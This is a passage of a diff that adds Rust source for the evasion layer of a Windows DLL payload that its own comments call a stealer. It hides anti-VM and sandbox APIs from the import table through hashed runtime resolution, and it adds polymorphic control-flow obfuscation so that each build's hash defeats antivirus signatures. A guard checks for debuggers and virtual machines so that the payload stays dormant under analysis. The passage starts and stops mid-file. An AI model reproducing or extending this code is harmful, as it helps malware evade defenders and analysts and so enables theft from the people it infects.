let f: VirtualProtectFn = core::mem::transmute(raw);
|
||||
let mut old: u32 = 0;
|
||||
f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
//! Runtime resolution of anti-analysis APIs — silent import table.
|
||||
//!
|
||||
//! A DLL that statically imports `advapi32` (registry), `iphlpapi`
|
||||
//! (GetAdaptersAddresses) and the user32 window/display enumeration APIs is a
|
||||
//! textbook anti-VM signature: those functions are almost never legitimately
|
||||
//! imported together in a normal module. Static AV/EDR triage reads the PE
|
||||
//! import table *before* execution.
|
||||
//!
|
||||
//! Every API used for VM / sandbox / hook probing here is resolved at runtime
|
||||
//! by walking the PEB module list and hashing export names (same technique as
|
||||
//! `apires`, which resolves ntdll/kernel32 for the guard). The resulting
|
||||
//! import table contains only benign kernel32 staples.
|
||||
|
||||
#![allow(dead_code)]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::apires;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Module-name ror-hashes (wide). kernel32/ntdll already resolved by apires.
|
||||
//
|
||||
// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks
|
||||
// constant-folding) so raw ror-hashes never appear in the binary.
|
||||
// ---------------------------------------------------------------------------
|
||||
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
||||
|
||||
#[inline(always)]
|
||||
fn r(h: u32) -> u32 {
|
||||
h ^ core::hint::black_box(HASH_KEY)
|
||||
}
|
||||
|
||||
const H_USER32: u32 = 0xC780_008F ^ HASH_KEY;
|
||||
const H_ADVAPI32: u32 = 0xC120_008F ^ HASH_KEY;
|
||||
const H_IPHLPAPI: u32 = 0x0120_0092 ^ HASH_KEY;
|
||||
const H_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
|
||||
|
||||
// Export-name ror-hashes (verified algorithm).
|
||||
const H_REG_OPEN_KEY_EX_W: u32 = 0x6100_00A8 ^ HASH_KEY;
|
||||
const H_REG_CLOSE_KEY: u32 = 0xBC00_00A0 ^ HASH_KEY;
|
||||
const H_REG_QUERY_VALUE_EX_W: u32 = 0xE6E0_00A6 ^ HASH_KEY;
|
||||
const H_REG_ENUM_KEY_EX_W: u32 = 0x7600_00A8 ^ HASH_KEY;
|
||||
const H_GET_ADAPTERS_ADDRESSES: u32 = 0xA971_209D ^ HASH_KEY;
|
||||
const H_ENUM_WINDOWS: u32 = 0x6B40_00A4 ^ HASH_KEY;
|
||||
const H_GET_WINDOW_TEXT_W: u32 = 0xF548_00A9 ^ HASH_KEY;
|
||||
const H_GET_CLASS_NAME_W: u32 = 0xB590_009E ^ HASH_KEY;
|
||||
const H_GET_SYSTEM_METRICS: u32 = 0xCE52_009A ^ HASH_KEY;
|
||||
const H_ENUM_DISPLAY_SETTINGS_W: u32 = 0xAD17_A0A5 ^ HASH_KEY;
|
||||
const H_ENUM_DISPLAY_DEVICES_W: u32 = 0x9C2F_40A3 ^ HASH_KEY;
|
||||
const H_GET_LAST_INPUT_INFO: u32 = 0xFCE2_0098 ^ HASH_KEY;
|
||||
const H_GET_CURSOR_POS: u32 = 0xC120_00A2 ^ HASH_KEY;
|
||||
const H_GET_SYSTEM_FIRMWARE_TABLE: u32 = 0x7649_488D ^ HASH_KEY;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Cached resolved pointers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
struct Cache {
|
||||
reg_open: usize,
|
||||
reg_close: usize,
|
||||
reg_query: usize,
|
||||
reg_enum: usize,
|
||||
adapters: usize,
|
||||
enum_windows: usize,
|
||||
get_window_text: usize,
|
||||
get_class_name: usize,
|
||||
get_system_metrics: usize,
|
||||
enum_display_settings: usize,
|
||||
enum_display_devices: usize,
|
||||
get_last_input: usize,
|
||||
get_cursor_pos: usize,
|
||||
get_system_firmware_table: usize,
|
||||
}
|
||||
|
||||
const CACHE_ZERO: Cache = Cache {
|
||||
reg_open: 0, reg_close: 0, reg_query: 0, reg_enum: 0, adapters: 0,
|
||||
enum_windows: 0, get_window_text: 0, get_class_name: 0,
|
||||
get_system_metrics: 0, enum_display_settings: 0, enum_display_devices: 0,
|
||||
get_last_input: 0, get_cursor_pos: 0, get_system_firmware_table: 0,
|
||||
};
|
||||
|
||||
static mut CACHE: Cache = CACHE_ZERO;
|
||||
static mut INIT: bool = false;
|
||||
|
||||
#[inline]
|
||||
unsafe fn resolve(module_hash: u32, fn_hash: u32) -> usize {
|
||||
// Both arguments are stored scrambled; unmask before lookup so the raw
|
||||
// values only ever exist transiently in registers at runtime.
|
||||
let base = apires::module_base_by_name_hash(r(module_hash));
|
||||
if base == 0 {
|
||||
return 0;
|
||||
}
|
||||
apires::export_by_hash_public(base, r(fn_hash))
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn ensure() {
|
||||
if INIT {
|
||||
return;
|
||||
}
|
||||
CACHE.reg_open = resolve(H_ADVAPI32, H_REG_OPEN_KEY_EX_W);
|
||||
CACHE.reg_close = resolve(H_ADVAPI32, H_REG_CLOSE_KEY);
|
||||
CACHE.reg_query = resolve(H_ADVAPI32, H_REG_QUERY_VALUE_EX_W);
|
||||
CACHE.reg_enum = resolve(H_ADVAPI32, H_REG_ENUM_KEY_EX_W);
|
||||
CACHE.adapters = resolve(H_IPHLPAPI, H_GET_ADAPTERS_ADDRESSES);
|
||||
CACHE.enum_windows = resolve(H_USER32, H_ENUM_WINDOWS);
|
||||
CACHE.get_window_text = resolve(H_USER32, H_GET_WINDOW_TEXT_W);
|
||||
CACHE.get_class_name = resolve(H_USER32, H_GET_CLASS_NAME_W);
|
||||
CACHE.get_system_metrics = resolve(H_USER32, H_GET_SYSTEM_METRICS);
|
||||
CACHE.enum_display_settings = resolve(H_USER32, H_ENUM_DISPLAY_SETTINGS_W);
|
||||
CACHE.enum_display_devices = resolve(H_USER32, H_ENUM_DISPLAY_DEVICES_W);
|
||||
CACHE.get_last_input = resolve(H_USER32, H_GET_LAST_INPUT_INFO);
|
||||
CACHE.get_cursor_pos = resolve(H_USER32, H_GET_CURSOR_POS);
|
||||
CACHE.get_system_firmware_table = resolve(H_KERNEL32, H_GET_SYSTEM_FIRMWARE_TABLE);
|
||||
INIT = true;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Typed wrappers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub unsafe fn RegOpenKeyExW(
|
||||
h_key: usize,
|
||||
sub: *const u16,
|
||||
opts: u32,
|
||||
sam: u32,
|
||||
out: *mut usize,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.reg_open == 0 { return -1; }
|
||||
let f: unsafe extern "system" fn(usize, *const u16, u32, u32, *mut usize) -> i32 =
|
||||
core::mem::transmute(CACHE.reg_open);
|
||||
f(h_key, sub, opts, sam, out)
|
||||
}
|
||||
|
||||
pub unsafe fn RegCloseKey(h_key: usize) -> i32 {
|
||||
ensure();
|
||||
if CACHE.reg_close == 0 { return -1; }
|
||||
let f: unsafe extern "system" fn(usize) -> i32 = core::mem::transmute(CACHE.reg_close);
|
||||
f(h_key)
|
||||
}
|
||||
|
||||
pub unsafe fn RegQueryValueExW(
|
||||
h_key: usize,
|
||||
name: *const u16,
|
||||
res: *mut u32,
|
||||
ty: *mut u32,
|
||||
data: *mut u8,
|
||||
size: *mut u32,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.reg_query == 0 { return -1; }
|
||||
let f: unsafe extern "system" fn(usize, *const u16, *mut u32, *mut u32, *mut u8, *mut u32) -> i32 =
|
||||
core::mem::transmute(CACHE.reg_query);
|
||||
f(h_key, name, res, ty, data, size)
|
||||
}
|
||||
|
||||
pub unsafe fn RegEnumKeyExW(
|
||||
h_key: usize,
|
||||
index: u32,
|
||||
name: *mut u16,
|
||||
name_len: *mut u32,
|
||||
res: *mut u32,
|
||||
class: *mut u16,
|
||||
class_len: *mut u32,
|
||||
last_write: *mut c_void,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.reg_enum == 0 { return -1; }
|
||||
let f: unsafe extern "system" fn(usize, u32, *mut u16, *mut u32, *mut u32, *mut u16, *mut u32, *mut c_void) -> i32 =
|
||||
core::mem::transmute(CACHE.reg_enum);
|
||||
f(h_key, index, name, name_len, res, class, class_len, last_write)
|
||||
}
|
||||
|
||||
pub unsafe fn GetAdaptersAddresses(
|
||||
family: u32,
|
||||
flags: u32,
|
||||
reserved: *mut c_void,
|
||||
adapters: *mut c_void,
|
||||
size: *mut u32,
|
||||
) -> u32 {
|
||||
ensure();
|
||||
if CACHE.adapters == 0 { return 0xFFFFFFFF; }
|
||||
let f: unsafe extern "system" fn(u32, u32, *mut c_void, *mut c_void, *mut u32) -> u32 =
|
||||
core::mem::transmute(CACHE.adapters);
|
||||
f(family, flags, reserved, adapters, size)
|
||||
}
|
||||
|
||||
pub unsafe fn EnumWindows(callback: usize, lparam: isize) -> i32 {
|
||||
ensure();
|
||||
if CACHE.enum_windows == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(usize, isize) -> i32 = core::mem::transmute(CACHE.enum_windows);
|
||||
f(callback, lparam)
|
||||
}
|
||||
|
||||
pub unsafe fn GetWindowTextW(hwnd: usize, buf: *mut u16, n: i32) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_window_text == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 =
|
||||
core::mem::transmute(CACHE.get_window_text);
|
||||
f(hwnd, buf, n)
|
||||
}
|
||||
|
||||
pub unsafe fn GetClassNameW(hwnd: usize, buf: *mut u16, n: i32) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_class_name == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 =
|
||||
core::mem::transmute(CACHE.get_class_name);
|
||||
f(hwnd, buf, n)
|
||||
}
|
||||
|
||||
pub unsafe fn GetSystemMetrics(index: i32) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_system_metrics == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(i32) -> i32 = core::mem::transmute(CACHE.get_system_metrics);
|
||||
f(index)
|
||||
}
|
||||
|
||||
pub unsafe fn EnumDisplaySettingsW(
|
||||
device: *const u16,
|
||||
mode: u32,
|
||||
devmode: *mut c_void,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.enum_display_settings == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(*const u16, u32, *mut c_void) -> i32 =
|
||||
core::mem::transmute(CACHE.enum_display_settings);
|
||||
f(device, mode, devmode)
|
||||
}
|
||||
|
||||
pub unsafe fn EnumDisplayDevicesW(
|
||||
device: *const u16,
|
||||
idx: u32,
|
||||
info: *mut c_void,
|
||||
flags: u32,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.enum_display_devices == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(*const u16, u32, *mut c_void, u32) -> i32 =
|
||||
core::mem::transmute(CACHE.enum_display_devices);
|
||||
f(device, idx, info, flags)
|
||||
}
|
||||
|
||||
pub unsafe fn GetLastInputInfo(plii: *mut c_void) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_last_input == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_last_input);
|
||||
f(plii)
|
||||
}
|
||||
|
||||
pub unsafe fn GetCursorPos(point: *mut c_void) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_cursor_pos == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_cursor_pos);
|
||||
f(point)
|
||||
}
|
||||
|
||||
pub unsafe fn GetSystemFirmwareTable(
|
||||
provider: u32,
|
||||
table_id: u32,
|
||||
buffer: *mut c_void,
|
||||
size: u32,
|
||||
) -> u32 {
|
||||
ensure();
|
||||
if CACHE.get_system_firmware_table == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(u32, u32, *mut c_void, u32) -> u32 =
|
||||
core::mem::transmute(CACHE.get_system_firmware_table);
|
||||
f(provider, table_id, buffer, size)
|
||||
}
|
||||
@@ -0,0 +1,247 @@
|
||||
//! Control-flow obfuscation helpers (polymorphic).
|
||||
//!
|
||||
//! Static analysis tools build a control-flow graph and reason about whether the
|
||||
//! payload "looks" like a stealer. These helpers insert opaque predicates,
|
||||
//! control-flow flattening, per-build junk instruction blocks, and bogus
|
||||
//! control-flow edges that are true at runtime but hard to prove statically.
|
||||
//!
|
||||
//! The seeds, junk strengths and branch tags come from `gen.rs`, which is
|
||||
//! regenerated before every build. This makes the emitted machine code — and
|
||||
//! therefore the artifact's hash — different on every build, so a static
|
||||
//! signature that matches one build will not match the next.
|
||||
|
||||
use crate::gen;
|
||||
use core::hint::black_box;
|
||||
|
||||
/// Opaque predicate: always evaluates to `true` at runtime but is not obviously
|
||||
/// constant to a static solver. Uses multiple rounds of non-linear arithmetic.
|
||||
#[inline(never)]
|
||||
pub fn opaque_true(seed: u32) -> bool {
|
||||
let mut x = seed.wrapping_add(gen::GEN_SEED).wrapping_mul(0x9E37_79B9);
|
||||
x = x.wrapping_add(0x7F4A_7C15);
|
||||
x ^= x >> 13;
|
||||
x = x.wrapping_mul(0x5D58_85A9);
|
||||
x ^= x >> 16;
|
||||
x = x.wrapping_mul(0x85EBCA6B);
|
||||
// Final non-linear mix: for any input this is non-zero.
|
||||
(x | (x.wrapping_mul(3) ^ 0x1234_5678)) != 0
|
||||
}
|
||||
|
||||
/// Opaque predicate that evaluates to `false` (complement of opaque_true).
|
||||
#[inline(never)]
|
||||
pub fn opaque_false(seed: u32) -> bool {
|
||||
!opaque_true(seed.wrapping_add(0xDEAD_BEEF))
|
||||
}
|
||||
|
||||
/// 3-way opaque choice: picks one of three branches based on opaque state.
|
||||
/// All three arms are real code; static analysis sees a 3-way join.
|
||||
#[inline]
|
||||
pub fn opaque_choice3(seed: u32, a: impl FnOnce(), b: impl FnOnce(), c: impl FnOnce()) {
|
||||
let idx = opaque_index(seed, 3);
|
||||
match idx {
|
||||
0 => a(),
|
||||
1 => b(),
|
||||
_ => c(),
|
||||
}
|
||||
}
|
||||
|
||||
/// 4-way opaque choice for even more CFG complexity.
|
||||
#[inline]
|
||||
pub fn opaque_choice4(
|
||||
seed: u32,
|
||||
a: impl FnOnce(),
|
||||
b: impl FnOnce(),
|
||||
c: impl FnOnce(),
|
||||
d: impl FnOnce(),
|
||||
) {
|
||||
let idx = opaque_index(seed, 4);
|
||||
match idx {
|
||||
0 => a(),
|
||||
1 => b(),
|
||||
2 => c(),
|
||||
_ => d(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Opaque index in range [0, n) derived from seed.
|
||||
#[inline(never)]
|
||||
fn opaque_index(seed: u32, n: u32) -> u32 {
|
||||
let mut x = seed.wrapping_add(gen::GEN_SEED);
|
||||
x = x.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15);
|
||||
x ^= x >> 16;
|
||||
x = x.wrapping_mul(0x5D58_85A9);
|
||||
(x ^ (x >> 13)) % n
|
||||
}
|
||||
|
||||
/// Pick one of two branches at runtime based on an opaque predicate. Both arms
|
||||
/// are real code; the selection is not statically obvious, so an analyzer sees a
|
||||
/// join that could be either path.
|
||||
#[inline]
|
||||
pub fn opaque_choice(seed: u32, a: impl FnOnce(), b: impl FnOnce()) {
|
||||
if opaque_true(seed) {
|
||||
a();
|
||||
} else {
|
||||
b();
|
||||
}
|
||||
}
|
||||
|
||||
/// Return a value only known at runtime, so a branch on it can't be constant
|
||||
/// folded by a tool that inspects the binary in isolation.
|
||||
#[inline(never)]
|
||||
pub fn run_time_nonce() -> u32 {
|
||||
let sp: usize;
|
||||
unsafe { core::arch::asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags)); }
|
||||
let tsc_lo: u32;
|
||||
unsafe { core::arch::asm!("rdtsc", out("eax") tsc_lo, options(nostack, preserves_flags)); }
|
||||
((sp as u32) ^ gen::GEN_SEED ^ tsc_lo) | 1
|
||||
}
|
||||
|
||||
/// Emit a block of junk arithmetic that the optimizer keeps (its result feeds a
|
||||
/// black_box sink) but whose shape — number of ops, widths, rotation amount —
|
||||
/// is re-randomized per build through `gen`. This injects polymorphic dead-ish
|
||||
/// code into the hot path and changes the emitted bytes every build.
|
||||
#[inline(never)]
|
||||
pub fn junk() {
|
||||
let variant = gen::JUNK_VARIANT;
|
||||
let mut acc = gen::JUNK_XOR ^ run_time_nonce();
|
||||
let n = (gen::JUNK_N % 16) + 4;
|
||||
let mut i = 0u32;
|
||||
while i < n {
|
||||
match variant {
|
||||
0 => {
|
||||
acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i);
|
||||
acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1);
|
||||
}
|
||||
1 => {
|
||||
acc = acc.wrapping_add(gen::JUNK_ROT).wrapping_mul(0x7F4A_7C15).wrapping_add(i);
|
||||
acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1);
|
||||
}
|
||||
2 => {
|
||||
acc = acc.wrapping_mul(0x5D58_85A9).wrapping_add(gen::JUNK_XOR).wrapping_add(i);
|
||||
acc = acc.wrapping_add(acc.rotate_right(7)) ^ acc.rotate_left(13);
|
||||
}
|
||||
_ => {
|
||||
acc = acc.wrapping_mul(0x85EBCA6B).wrapping_add(gen::OPAQUE_TAG as u32).wrapping_add(i);
|
||||
acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1);
|
||||
acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1);
|
||||
}
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
black_box(acc);
|
||||
}
|
||||
|
||||
/// More complex junk block with data-dependent control flow (opaque predicates
|
||||
/// inside the junk itself). This defeats simple pattern matching on junk blocks.
|
||||
#[inline(never)]
|
||||
pub fn junk_complex(seed: u32) {
|
||||
let complexity = gen::OPAQUE_COMPLEXITY as u32;
|
||||
let mut acc = seed.wrapping_add(gen::JUNK_XOR) ^ run_time_nonce();
|
||||
let n = (gen::JUNK_N % 24) + 8;
|
||||
let mut i = 0u32;
|
||||
while i < n {
|
||||
acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i);
|
||||
// Opaque selector picks one of several arithmetic paths; a static
|
||||
// analyzer sees all of them as reachable.
|
||||
let sel = opaque_index(i.wrapping_add(seed), complexity.max(1));
|
||||
match sel {
|
||||
0 => acc ^= acc.rotate_right(gen::JUNK_ROT % 31 + 1),
|
||||
1 => acc ^= acc.rotate_left(gen::JUNK_ROT % 31 + 1),
|
||||
2 => acc = acc.wrapping_add(acc.rotate_right(7)),
|
||||
_ => acc = acc.wrapping_mul(0x85EBCA6B),
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
black_box(acc);
|
||||
}
|
||||
|
||||
/// Control-flow flattening dispatcher. Transforms a linear sequence of blocks
|
||||
/// into a state-machine loop with opaque state transitions. The `blocks`
|
||||
/// closure receives a state and executes the corresponding block, returning
|
||||
/// the next state (or u32::MAX to exit).
|
||||
///
|
||||
/// Usage:
|
||||
/// ```ignore
|
||||
/// let mut state = 0;
|
||||
/// while state != u32::MAX {
|
||||
/// state = flatten_dispatch(state, |s| match s {
|
||||
/// 0 => { do_work_0(); 1 },
|
||||
/// 1 => { do_work_1(); 2 },
|
||||
/// 2 => { do_work_2(); u32::MAX },
|
||||
/// _ => u32::MAX,
|
||||
/// });
|
||||
/// }
|
||||
/// ```
|
||||
#[inline(never)]
|
||||
pub fn flatten_dispatch<F>(mut state: u32, blocks: F) -> u32
|
||||
where
|
||||
F: Fn(u32) -> u32,
|
||||
{
|
||||
let seed = run_time_nonce();
|
||||
// Opaque state encoding: real state is XORed with per-iteration keystream
|
||||
// Use CFF_KEY for per-build variance in the encoding scheme
|
||||
let cff_mul1 = gen::CFF_KEY.wrapping_mul(0x9E37_79B9);
|
||||
let cff_mul2 = gen::CFF_KEY.wrapping_mul(0x5D58_85A9);
|
||||
let cff_add = gen::CFF_KEY.wrapping_mul(0x7F4A_7C15);
|
||||
let mut encoded = state ^ cff_mul1;
|
||||
let mut iterations = 0u32;
|
||||
|
||||
loop {
|
||||
// Decode current state
|
||||
let decoded = encoded ^ (cff_mul1.wrapping_add(iterations));
|
||||
let next = blocks(decoded);
|
||||
|
||||
if next == u32::MAX {
|
||||
break;
|
||||
}
|
||||
|
||||
// Re-encode next state with different keystream
|
||||
encoded = next ^ (cff_mul2.wrapping_add(iterations.wrapping_mul(cff_add)));
|
||||
iterations += 1;
|
||||
|
||||
// Inject junk every few iterations
|
||||
if (iterations & 3) == 0 {
|
||||
junk_complex(seed.wrapping_add(iterations));
|
||||
}
|
||||
|
||||
// Safety bound
|
||||
if iterations > 100 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
state
|
||||
}
|
||||
|
||||
/// Bogus control flow: creates a fake loop that looks like it could iterate
|
||||
/// but actually runs exactly once. Confuses static analyzers looking for loops.
|
||||
#[inline(never)]
|
||||
pub fn bogus_loop<F: Fn()>(seed: u32, body: F) {
|
||||
let mut counter = opaque_index(seed, 4) + 1; // 1-4
|
||||
while counter != 0 {
|
||||
if opaque_true(seed.wrapping_add(counter)) {
|
||||
body();
|
||||
}
|
||||
counter = counter.wrapping_sub(1);
|
||||
// Opaque: this looks like it could continue but counter always reaches 0
|
||||
if opaque_false(seed.wrapping_add(counter)) {
|
||||
counter = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Deterministic per-build opaque branch tag; used to seed guards' join
|
||||
/// counters so each artifact's control flow graph is unique.
|
||||
#[inline]
|
||||
pub fn branch_tag() -> u64 {
|
||||
gen::OPAQUE_TAG
|
||||
}
|
||||
|
||||
/// Opaque loop bound: returns a value that looks variable but is actually
|
||||
/// bounded and deterministic per-build. Use for loop counters that should
|
||||
/// appear dynamic to static analysis.
|
||||
#[inline(never)]
|
||||
pub fn opaque_bound(seed: u32, min: u32, max: u32) -> u32 {
|
||||
let range = max - min + 1;
|
||||
min + opaque_index(seed, range)
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
// AUTO-GENERATED per build by builder.py. Do not edit.
|
||||
// Each build rewrites this file, so the guard's keys, seeds and junk
|
||||
// blocks are unique to every artifact.
|
||||
|
||||
pub const GEN_SEED: u32 = 0xAFFBBF43;
|
||||
|
||||
pub const K_TOKEN: u8 = 90;
|
||||
pub const K_VENDOR: u8 = 190;
|
||||
pub const K_SMBIOS: u8 = 74;
|
||||
pub const K_ENV: u8 = 42;
|
||||
pub const K_DISPLAY: u8 = 193;
|
||||
|
||||
pub const JUNK_XOR: u32 = 0x422E101B;
|
||||
pub const JUNK_ROT: u32 = 0x1FE84ADD;
|
||||
pub const JUNK_N: u32 = 10;
|
||||
|
||||
pub const OPAQUE_TAG: u64 = 0xD260CBEF81B2C5F2;
|
||||
|
||||
// Polymorphic control-flow / evasion layer constants
|
||||
pub const CFF_KEY: u32 = 0x96995F09;
|
||||
pub const SYSCALL_TRAMP: u8 = 4;
|
||||
pub const SLEEP_ROUNDS: u8 = 4;
|
||||
pub const HOOK_ORDER_SEED: u32 = 0x140CC4BB;
|
||||
pub const STACK_SPOOF_OFF: u32 = 0x107F;
|
||||
pub const JUNK_VARIANT: u8 = 0;
|
||||
pub const OPAQUE_COMPLEXITY: u8 = 1;
|
||||
@@ -0,0 +1,655 @@
|
||||
//! Runtime guard: anti-analysis / anti-debug / anti-VM / sandbox detection.
|
||||
//!
|
||||
//! Runs once inside `DllMain` (after the reflective loader has fully mapped and
|
||||
//! relocated the image, so normal `std` is available). If the environment looks
|
||||
//! hostile — a debugger, a virtual machine, a sandbox, or a known analysis tool
|
||||
//! — the guard reports `false` and the payload refuses to start its worker.
|
||||
//!
|
||||
//! All detection strings are XOR-encrypted at compile time and only materialized
|
||||
//! on the stack at the moment of the check, so traces of what the guard is
|
||||
//! looking for do not sit in `.rodata` as plaintext.
|
||||
//!
|
||||
//! The guard is deliberately *defensive*: each check is independent and a few
|
||||
//! false positives are tolerated (a score system, not a single hard kill), so a
|
||||
//! real user on a clean machine still runs, while analysis environments that
|
||||
//! trip many signals are dropped.
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi;
|
||||
use crate::antihook;
|
||||
use crate::antisbx;
|
||||
use crate::antivm;
|
||||
use crate::apires;
|
||||
use crate::dynapi;
|
||||
use crate::flow;
|
||||
use crate::gen;
|
||||
use crate::obf;
|
||||
use crate::sleep;
|
||||
use crate::syscall;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Encrypted string helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// ASCII-lowercase a byte slice.
|
||||
fn lower(b: &[u8]) -> Vec<u8> {
|
||||
b.iter().map(|c| c.to_ascii_lowercase()).collect()
|
||||
}
|
||||
|
||||
/// Case-insensitive substring match on bytes.
|
||||
fn contains(hay: &[u8], needle: &[u8]) -> bool {
|
||||
if needle.is_empty() || hay.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Anti-debug
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// PEB being-debugged flag (gs:[0x60] -> PEB.BeingDebugged at +0x02).
|
||||
#[inline]
|
||||
unsafe fn peb_being_debugged() -> bool {
|
||||
let peb: usize;
|
||||
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
||||
let being = ptr::read_volatile((peb + 0x02) as *const u8);
|
||||
being != 0
|
||||
}
|
||||
|
||||
/// PEB->NtGlobalFlag at +0xBC (x64). A debugger sets heap-related flags that
|
||||
/// remain set for the process lifetime (heap flags: 0x70).
|
||||
#[inline]
|
||||
unsafe fn peb_nt_global_flag() -> bool {
|
||||
let peb: usize;
|
||||
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
||||
let flags = ptr::read_volatile((peb + 0xBC) as *const u32);
|
||||
// FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK |
|
||||
// FLG_HEAP_VALIDATE_PARAMETERS | FLG_APPLICATION_VERIFIER
|
||||
const HEAP_FLAGS: u32 = 0x70 | 0x10 | 0x40;
|
||||
flags & HEAP_FLAGS == HEAP_FLAGS
|
||||
}
|
||||
|
||||
/// ProcessDebugPort (info class 7) resolved at runtime via hash (no static
|
||||
/// import). Returns true if a debugger is listening on the debug port.
|
||||
unsafe fn nt_debug_port() -> bool {
|
||||
apires::dyn_query_debug_port()
|
||||
}
|
||||
|
||||
/// Check the debug heap on the current process handle (kernel32, resolved at
|
||||
/// runtime so it doesn't appear in the import table).
|
||||
unsafe fn remote_debugger_present() -> bool {
|
||||
apires::dyn_check_remote_debugger()
|
||||
}
|
||||
|
||||
/// Timing check: RDTSC must tick at a sane rate. Stepping through the code
|
||||
/// under a breakpoint dramatically inflates the delta.
|
||||
#[inline]
|
||||
unsafe fn rdtsc() -> u64 {
|
||||
let mut lo: u32;
|
||||
let mut hi: u32;
|
||||
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
|
||||
((hi as u64) << 32) | lo as u64
|
||||
}
|
||||
|
||||
unsafe fn timing_sane() -> bool {
|
||||
let a = rdtsc();
|
||||
let mut sink: u64 = 0;
|
||||
for i in 0..2000u64 {
|
||||
sink ^= i.wrapping_mul(0x9E37_79B9);
|
||||
}
|
||||
let b = rdtsc();
|
||||
let _ = sink;
|
||||
// Single-stepping / breakpoints insert far more cycles than a real loop.
|
||||
b.wrapping_sub(a) < 500_000
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Anti-VM
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct MemStatusEx {
|
||||
dw_length: u32,
|
||||
dw_memory_load: u32,
|
||||
ull_total_phys: u64,
|
||||
ull_avail_phys: u64,
|
||||
ull_total_page_file: u64,
|
||||
ull_avail_page_file: u64,
|
||||
ull_total_virtual: u64,
|
||||
ull_avail_virtual: u64,
|
||||
ull_avail_extended_virtual: u64,
|
||||
}
|
||||
|
||||
/// CPUID hypervisor-present bit (leaf 1, ECX bit 31) and vendor string
|
||||
/// (leaf 0x40000000). Detects Hyper-V, VMware, KVM, VirtualBox, QEMU, Xen.
|
||||
unsafe fn cpu_hypervisor() -> bool {
|
||||
#[inline]
|
||||
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
|
||||
let mut a = leaf;
|
||||
let mut c = sub;
|
||||
let mut d = 0u32;
|
||||
let mut b = 0u32;
|
||||
// rbx is owned by LLVM, so save/restore it across cpuid and capture ebx
|
||||
// into a general-purpose register operand.
|
||||
asm!(
|
||||
"push rbx",
|
||||
"cpuid",
|
||||
"mov {tmp:e}, ebx",
|
||||
"pop rbx",
|
||||
inout("eax") a,
|
||||
inout("ecx") c,
|
||||
out("edx") d,
|
||||
tmp = lateout(reg) b,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
(a, b, c, d)
|
||||
}
|
||||
|
||||
// Hypervisor present?
|
||||
let (_, _, ecx, _) = cpuid(1, 0);
|
||||
if ecx & (1 << 31) == 0 {
|
||||
return false;
|
||||
}
|
